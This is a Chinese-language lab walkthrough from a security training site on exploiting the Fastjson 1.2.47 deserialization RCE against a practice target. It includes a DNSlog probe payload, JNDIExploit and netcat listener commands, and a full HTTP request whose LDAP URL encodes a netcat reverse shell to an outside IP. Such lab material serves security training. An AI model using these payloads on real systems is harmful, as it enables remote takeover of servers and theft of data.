【靶机实战】Fastjson 1.2.47 远程代码执行

靶机信息

可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 渗透测试靶场 -> Fastjson 1.2.47 – 远程代码执行

图片[1] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell

漏洞科普

Fastjson 1.2.47 远程代码执行漏洞(CNVD-2019-22238)的核心在于其反序列化机制缺陷与黑名单绕过手法的结合。攻击者可构造包含特殊 @type 字段的恶意 JSON 数据,利用 Fastjson 的 ​​全局缓存机制​​ 绕过 AutoType 白名单限制:当首次通过特定语法(如 Lcom.sun.rowset.JdbcRowSetImpl;)加载高危类后,该类会被缓存,后续即使关闭 AutoType 仍可通过缓存直接实例化。结合 ​​JNDI 注入​​,攻击者将 dataSourceName 指向恶意 LDAP/RMI 服务(如 ldap://attacker.com/Exploit),触发目标服务器连接攻击者控制的远程地址并加载恶意类(如 Exploit.class)。该漏洞的爆发需要同时满足:

  1. Fastjson ≤1.2.47;
  2. JDK 版本低于 8u191(未限制远程类加载);
  3. 目标存在对外暴露的 JSON 解析接口。成功利用将导致 ​​远程代码执行(RCE)​​,攻击者可完全控制服务器,进而窃取敏感数据、部署挖矿木马或横向渗透内网,危害等级为高危。

靶机实战

首先访问首页,点击左上角的登录按钮出现登录表单,表单内随便输入内容提交后进行抓包。

图片[2] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell
图片[3] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell
图片[4] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell

构造 POST 数据,删除末尾的大括号使其报错,发现是标准的 fastjson 后端

图片[5] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell

修改POST的Body体为如下数据,在 dnslog.cn / dnslog.org 上接收到请求,证明漏洞存在。

{
  "@type":"java.net.Inet4Address",
  "val":"6c6b0fb9.log.dnslog.myfw.us"
}
图片[6] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell
图片[7] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell

准备一台带公网IP的VPS,通过 【JNDI注入利用工具】JNDIExploit 工具架设恶意JNDI服务

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i <你的机器IP>
图片[8] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell

接着在公网VPS上开启NC监听服务,用于接收反弹Shell

nc -lvp 12345
图片[9] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell

构造如下数据包,将dataSourceName中的LDAP地址换为自己公网服务器的LDAP地址,其中需要将ldap://27.25.151.201:1389/Basic/Command/Base64/bmMgMjcuMjUuMTUxLjIwMSAxMjM0NSAtZSAvYmluL3No中的bmMgMjcuMjUuMTUxLjIwMSAxMjM0NSAtZSAvYmluL3No进行base64解码,然后将IP和NC监听端口改为自己设定的,然后重新base64编码进行替换。

PS:由于靶机无法进行sh反弹,只能使用NC

POST /login HTTP/1.1
Host: node.hackhub.get-shell.com:58072
Content-Length: 322
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Content-Type: application/json; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: http://node.hackhub.get-shell.com:58072
Referer: http://node.hackhub.get-shell.com:58072/tologin
Accept-Encoding: gzip, deflate, br
Cookie: admin_session=a7d5dad3c6a70941c6ee1f72570b29b4
Connection: keep-alive

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://27.25.151.201:1389/Basic/Command/Base64/bmMgMjcuMjUuMTUxLjIwMSAxMjM0NSAtZSAvYmluL3No",
        "autoCommit":true
    }
}

得到反弹Shell后,直接查看根目录的Flag文件即可。

图片[10] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell
THE END
想说的话 1  QQ & 微信交流群: 点击查看加群方式
2  本站运营不易,以真心❤️换真心💕,如果帮助到你,可以 推荐给朋友 或者 开通金贝会员 支持一下本站!
3  请不要进行任何非授权的网络攻击,如果造成任何损失均由使用者本人负责,与本站和原作者无关!
点赞81 分享
茶谈区 抢沙发

请登录后发表评论

    暂无评论内容